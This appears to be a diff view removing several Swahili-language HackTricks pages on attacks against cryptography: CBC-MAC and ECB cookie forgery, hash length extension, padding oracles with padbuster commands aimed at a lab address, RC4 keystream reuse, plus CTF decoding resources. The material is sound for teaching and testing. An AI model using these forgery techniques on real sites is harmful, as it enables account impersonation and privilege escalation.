{{#include ../banners/hacktricks-training.md}}
# CBC
Ikiwa **keki** ni **tu** jina la **mtumiaji** (au sehemu ya kwanza ya keki ni jina la mtumiaji) na unataka kujifanya kuwa jina la mtumiaji "**admin**". Basi, unaweza kuunda jina la mtumiaji **"bdmin"** na **bruteforce** byte ya **kwanza** ya keki.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) ni njia inayotumika katika cryptography. Inafanya kazi kwa kuchukua ujumbe na kuuficha block kwa block, ambapo ufichaji wa kila block unahusishwa na ule wa kabla yake. Mchakato huu unaunda **mnyororo wa blocks**, kuhakikisha kwamba kubadilisha hata bit moja ya ujumbe wa asili kutasababisha mabadiliko yasiyotabirika katika block ya mwisho ya data iliyofichwa. Ili kufanya au kubadilisha mabadiliko kama hayo, funguo ya ufichaji inahitajika, kuhakikisha usalama.
Ili kuhesabu CBC-MAC ya ujumbe m, mtu anaficha m katika hali ya CBC na vector ya mwanzo ya sifuri na anahifadhi block ya mwisho. Mchoro ufuatao unachora hesabu ya CBC-MAC ya ujumbe unaojumuisha blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) kwa kutumia funguo ya siri k na cipher block E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
Kwa CBC-MAC kawaida **IV inayotumika ni 0**.\
Hii ni tatizo kwa sababu ujumbe 2 unaojulikana (`m1` na `m2`) kwa uhuru utaweza kuzalisha saini 2 (`s1` na `s2`). Basi:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Basi ujumbe ulio na m1 na m2 uliounganishwa (m3) utaweza kuzalisha saini 2 (s31 na s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Ambayo inawezekana kuhesabu bila kujua funguo ya ufichaji.**
Fikiria unaficha jina **Administrator** katika **8bytes** blocks:
- `Administ`
- `rator\00\00\00`
Unaweza kuunda jina la mtumiaji linaloitwa **Administ** (m1) na kupata saini (s1).\
Kisha, unaweza kuunda jina la mtumiaji linaloitwa matokeo ya `rator\00\00\00 XOR s1`. Hii itazalisha `E(m2 XOR s1 XOR 0)` ambayo ni s32.\
sasa, unaweza kutumia s32 kama saini ya jina kamili **Administrator**.
### Summary
1. Pata saini ya jina la mtumiaji **Administ** (m1) ambayo ni s1
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR s1 XOR 0** ni s32**.**
3. Weka keki kuwa s32 na itakuwa keki halali kwa mtumiaji **Administrator**.
# Attack Controlling IV
Ikiwa unaweza kudhibiti IV inayotumika shambulio linaweza kuwa rahisi sana.\
Ikiwa keki ni jina la mtumiaji tu lililofichwa, ili kujifanya kuwa mtumiaji "**administrator**" unaweza kuunda mtumiaji "**Administrator**" na utapata keki yake.\
Sasa, ikiwa unaweza kudhibiti IV, unaweza kubadilisha Byte ya kwanza ya IV hivyo **IV\[0] XOR "A" == IV'\[0] XOR "a"** na kuunda upya keki kwa mtumiaji **Administrator.** Keki hii itakuwa halali kwa **kujifanya** mtumiaji **administrator** na **IV** ya awali.
## References
Maelezo zaidi katika [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,271 +0,0 @@
# Crypto CTFs Tricks
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
- _**Google it**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
- [https://md5decrypt.net/](https://md5decrypt.net)
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
- [https://gpuhash.me/](https://gpuhash.me)
- [https://hashes.org/search.php](https://hashes.org/search.php)
- [https://www.cmd5.org/](https://www.cmd5.org)
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
Sehemu kubwa ya data iliyokodishwa inaweza kufutwa na rasilimali hizi 2:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Nzuri sana!
#### Caesar - ROTx Autosolvers
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
Angalia hizi zote za msingi na: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Kibodi ya Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Herufi kwa thamani yao ya nambari
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Herufi kwa nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
```
krodfdudfrod
```
### SMS Code
**Multitap** [inabadilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazojirudia zilizofafanuliwa na msimbo wa funguo unaolingana kwenye [keypad ya simu](https://www.dcode.fr/phone-keypad-cipher) (Hali hii inatumika wakati wa kuandika SMS).\
Kwa mfano: 2=A, 22=B, 222=C, 3=D...\
Unaweza kutambua msimbo huu kwa sababu utaona **nambari kadhaa zinazojirudia**.
Unaweza kufungua msimbo huu katika: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Badilisha kila herufi kwa A nne au B nne (au 1s na 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
**Raw Deflate** na **Raw Inflate** (unaweza kuzipata zote katika Cyberchef) zinaweza kubana na kufungua data bila vichwa.
## Easy Crypto
### XOR - Autosolver
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
Neno la ufunguo linahitajika
```
fgaargaamnlunesuneoa
```
### Vigenere
Inahitajika neno la ufunguo
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Crypto Imara
### Fernet
2 mfuatano wa base64 (token na ufunguo)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
Siri inagawanywa katika sehemu X na ili kuirejesha unahitaji sehemu Y (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,68 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# ECB
(ECB) Electronic Code Book - mpango wa usimbaji wa symmetrick ambao **unabadilisha kila block ya maandiko wazi** kwa **block ya maandiko yaliyosimbwa**. Ni mpango wa usimbaji **rahisi zaidi**. Wazo kuu ni **kugawanya** maandiko wazi katika **blocks za N bits** (inategemea ukubwa wa block ya data ya ingizo, algorithm ya usimbaji) na kisha kusimbua (kufungua) kila block ya maandiko wazi kwa kutumia funguo pekee.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Kutumia ECB kuna athari nyingi za usalama:
- **Blocks kutoka kwa ujumbe uliofungwa zinaweza kuondolewa**
- **Blocks kutoka kwa ujumbe uliofungwa zinaweza kuhamishwa**
# Kugundua udhaifu
Fikiria unapoingia kwenye programu mara kadhaa na **daima unapata cookie ile ile**. Hii ni kwa sababu cookie ya programu ni **`<username>|<password>`**.\
Kisha, unaunda watumiaji wapya, wote wawili wakiwa na **nenosiri refu sawa** na **karibu** **jina la mtumiaji** **sawa**.\
Unagundua kwamba **blocks za 8B** ambapo **habari za watumiaji wote wawili** ni sawa ni **sawa**. Kisha, unafikiria kwamba hii inaweza kuwa kwa sababu **ECB inatumika**.
Kama katika mfano ufuatao. Angalia jinsi hizi **2 cookies zilizofunguliwa** zina block **`\x23U\xE45K\xCB\x21\xC8`** mara kadhaa.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Hii ni kwa sababu **jina la mtumiaji na nenosiri la vidakuzi hivyo vilikuwa na herufi "a" mara kadhaa** (kwa mfano). **Vizuizi** ambavyo ni **tofauti** ni vizuizi vilivyokuwa na **angalau herufi 1 tofauti** (labda mkataba "|" au tofauti muhimu katika jina la mtumiaji).
Sasa, mshambuliaji anahitaji tu kugundua kama muundo ni `<username><delimiter><password>` au `<password><delimiter><username>`. Ili kufanya hivyo, anaweza tu **kuunda majina kadhaa ya watumiaji** yenye **majina marefu na yanayofanana na nenosiri hadi apate muundo na urefu wa mkataba:**
| Urefu wa jina la mtumiaji: | Urefu wa nenosiri: | Urefu wa Jina la mtumiaji + Nenosiri: | Urefu wa vidakuzi (baada ya kufichua): |
| --------------------------- | ------------------ | ------------------------------------ | ------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Ukatili wa udhaifu
## Kuondoa vizuizi vyote
Kujua muundo wa cookie (`<username>|<password>`), ili kujifanya kama jina la mtumiaji `admin` tengeneza mtumiaji mpya anayeitwa `aaaaaaaaadmin` na pata cookie na uifichue:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
Tunaweza kuona muundo `\x23U\xE45K\xCB\x21\xC8` ulioundwa hapo awali na jina la mtumiaji lililokuwa na `a` pekee.\
Kisha, unaweza kuondoa block ya kwanza ya 8B na utapata cookie halali kwa jina la mtumiaji `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Kuhamasisha vizuizi
Katika hifadhidata nyingi, ni sawa kutafuta `WHERE username='admin';` au `WHERE username='admin ';` _(Kumbuka nafasi za ziada)_
Hivyo, njia nyingine ya kujifanya kuwa mtumiaji `admin` ingekuwa:
- Kuunda jina la mtumiaji ambalo: `len(<username>) + len(<delimiter) % len(block)`. Kwa saizi ya block ya `8B` unaweza kuunda jina la mtumiaji linaloitwa: `username `, na delimiter `|` kipande `<username><delimiter>` kitazalisha vizuizi 2 vya 8Bs.
- Kisha, tengeneza nenosiri ambalo litajaza idadi sahihi ya vizuizi vinavyomwonyesha jina la mtumiaji tunataka kujifanya na nafasi, kama: `admin `
Keki ya mtumiaji huyu itakuwa na vizuizi 3: vya kwanza 2 ni vizuizi vya jina la mtumiaji + delimiter na vya tatu ni nenosiri (ambalo linajifanya kuwa jina la mtumiaji): `username |admin `
**Kisha, badilisha tu block ya kwanza na ya mwisho na utakuwa unajifanya kuwa mtumiaji `admin`: `admin |username`**
## Marejeo
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# Muhtasari wa shambulio
Fikiria seva ambayo inafanya **kusaini** baadhi ya **data** kwa **kuongeza** **siri** kwa baadhi ya data ya wazi inayojulikana na kisha kuhashi data hiyo. Ikiwa unajua:
- **Urefu wa siri** (hii inaweza pia kubruteforced kutoka kwa anuwai ya urefu uliopewa)
- **Data ya wazi**
- **Algorithimu (na inahatarishwa kwa shambulio hili)**
- **Padding inajulikana**
- Kawaida moja ya chaguo-msingi inatumika, hivyo ikiwa mahitaji mengine 3 yanakidhi, hii pia inakidhi
- Padding inatofautiana kulingana na urefu wa siri + data, ndivyo maana urefu wa siri unahitajika
Basi, inawezekana kwa **mshambuliaji** **kuongeza** **data** na **kuunda** **saini** halali kwa **data ya awali + data iliyoongezwa**.
## Vipi?
Kimsingi, algorithimu zinazohatarishwa zinaweza kuunda hash kwa kwanza **kuhashi block ya data**, na kisha, **kutoka** kwa **hash** iliyoundwa **awali** (hali), wana **ongeza block inayofuata ya data** na **kuhashi**.
Basi, fikiria kwamba siri ni "siri" na data ni "data", MD5 ya "siri data" ni 6036708eba0d11f6ef52ad44e8b74d5b.\
Ikiwa mshambuliaji anataka kuongeza mfuatano "append" anaweza:
- Kuunda MD5 ya "A" 64
- Kubadilisha hali ya hash iliyowekwa awali kuwa 6036708eba0d11f6ef52ad44e8b74d5b
- Kuongeza mfuatano "append"
- Kumaliza hash na hash inayotokana itakuwa **halali kwa "siri" + "data" + "padding" + "append"**
## **Zana**
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Marejeleo
Unaweza kupata shambulio hili limeelezwa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,102 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Cipher Block Chaining
Katika hali ya CBC, **block iliyosimbwa awali inatumika kama IV** ili XOR na block inayofuata:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
Ili kufungua CBC, **operesheni** **za kinyume** zinafanywa:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Tafakari jinsi inavyohitajika kutumia **ufunguo wa usimbaji** na **IV**.
# Message Padding
Kadri usimbaji unavyofanywa katika **blocks za ukubwa thabiti**, **padding** mara nyingi inahitajika katika **block ya mwisho** kukamilisha urefu wake.\
Mara nyingi **PKCS7** inatumika, ambayo inazalisha padding **ikirejelea** **idadi** ya **bytes** **zinazohitajika** kukamilisha block. Kwa mfano, ikiwa block ya mwisho inakosa bytes 3, padding itakuwa `\x03\x03\x03`.
Hebu tuangalie mifano zaidi na **blocks 2 za urefu wa 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Kumbuka jinsi katika mfano wa mwisho **block ya mwisho ilikuwa kamili hivyo nyingine ilizalishwa tu na padding**.
# Padding Oracle
Wakati programu inafungua data iliyosimbwa, itaanza kwa kufungua data; kisha itatoa padding. Wakati wa kusafisha padding, ikiwa **padding isiyo sahihi inasababisha tabia inayoweza kugundulika**, una **udhaifu wa padding oracle**. Tabia inayoweza kugundulika inaweza kuwa **kosa**, **ukosefu wa matokeo**, au **jibu lenye mwendo wa polepole**.
Ikiwa unagundua tabia hii, unaweza **kufungua data iliyosimbwa** na hata **kusimbua maandiko yoyote**.
## Jinsi ya kutumia
Unaweza kutumia [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kutumia udhaifu huu au tu fanya
```
sudo apt-get install padbuster
```
Ili kujaribu kama cookie ya tovuti ina udhaifu unaweza kujaribu:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Encoding 0** inamaanisha kwamba **base64** inatumika (lakini zingine zinapatikana, angalia menyu ya msaada).
Unaweza pia **kutumia udhaifu huu kuandika data mpya. Kwa mfano, fikiria kwamba maudhui ya cookie ni "**_**user=MyUsername**_**", kisha unaweza kubadilisha kuwa "\_user=administrator\_" na kuongeza mamlaka ndani ya programu. Unaweza pia kufanya hivyo ukitumia `paduster`ukitaja -plaintext** parameter:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Ikiwa tovuti ina udhaifu, `padbuster` itajaribu moja kwa moja kubaini wakati kosa la padding linapotokea, lakini unaweza pia kuashiria ujumbe wa kosa ukitumia parameteri **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## Nadharia
Katika **muhtasari**, unaweza kuanza kufichua data iliyofichwa kwa kukisia thamani sahihi ambazo zinaweza kutumika kuunda **paddings tofauti**. Kisha, shambulio la padding oracle litaanza kufichua byte kutoka mwisho hadi mwanzo kwa kukisia ni ipi itakuwa thamani sahihi inayounda padding ya **1, 2, 3, n.k.**.
![](<../images/image (629) (1) (1).png>)
Fikiria una maandiko yaliyofichwa yanayochukua **blocks 2** yaliyoundwa na byte kutoka **E0 hadi E15**.\
Ili **kufichua** **block** ya **mwisho** (**E8** hadi **E15**), block nzima inapita kupitia "block cipher decryption" ikizalisha **byte za kati I0 hadi I15**.\
Hatimaye, kila byte ya kati inafanywa **XORed** na byte zilizofichwa za awali (E0 hadi E7). Hivyo:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
- `C13 = I13 ^ E5`
- `C12 = I12 ^ E4`
- ...
Sasa, inawezekana **kubadilisha `E7` hadi `C15` iwe `0x01`**, ambayo pia itakuwa padding sahihi. Hivyo, katika kesi hii: `\x01 = I15 ^ E'7`
Hivyo, kupata E'7, inawezekana **kuhesabu I15**: `I15 = 0x01 ^ E'7`
Ambayo inaturuhusu **kuhesabu C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Kujua **C15**, sasa inawezekana **kuhesabu C14**, lakini wakati huu kwa kuburuza padding `\x02\x02`.
Hii BF ni ngumu kama ile ya awali kwani inawezekana kuhesabu `E''15` ambayo thamani yake ni 0x02: `E''7 = \x02 ^ I15` hivyo inahitajika tu kupata **`E'14`** inayozalisha **`C14` inayolingana na `0x02`**.\
Kisha, fanya hatua hizo hizo kufichua C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Fuata mnyororo huu hadi ufichue maandiko yote yaliyofichwa.**
## Ugunduzi wa udhaifu
Jisajili na akaunti na ingia kwa akaunti hii.\
Ikiwa unafanya **kuingia mara nyingi** na kila wakati unapata **keki ile ile**, kuna uwezekano **kuna kitu** **kibaya** katika programu. **Keki inayotumwa nyuma inapaswa kuwa ya kipekee** kila wakati unapoingia. Ikiwa keki ni **daima** ile ile, kuna uwezekano itakuwa halali kila wakati na **hakutakuwa na njia ya kuifuta**.
Sasa, ikiwa unajaribu **kubadilisha** **keki**, unaweza kuona unapata **kosa** kutoka kwa programu.\
Lakini ikiwa unafanya BF padding (ukitumia padbuster kwa mfano) unafanikiwa kupata keki nyingine halali kwa mtumiaji tofauti. Hali hii ina uwezekano mkubwa wa kuwa na udhaifu kwa padbuster.
## Marejeleo
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,15 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Ikiwa unaweza kwa namna fulani kuandika maandiko ya wazi kwa kutumia RC4, unaweza kufungua maudhui yoyote yaliyoandikwa kwa RC4 hiyo (ukitumia nenosiri lile lile) kwa kutumia tu kazi ya kuandika.
Ikiwa unaweza kuandika maandiko ya wazi yanayojulikana unaweza pia kutoa nenosiri. Marejeleo zaidi yanaweza kupatikana katika mashine ya HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,9 +0,0 @@
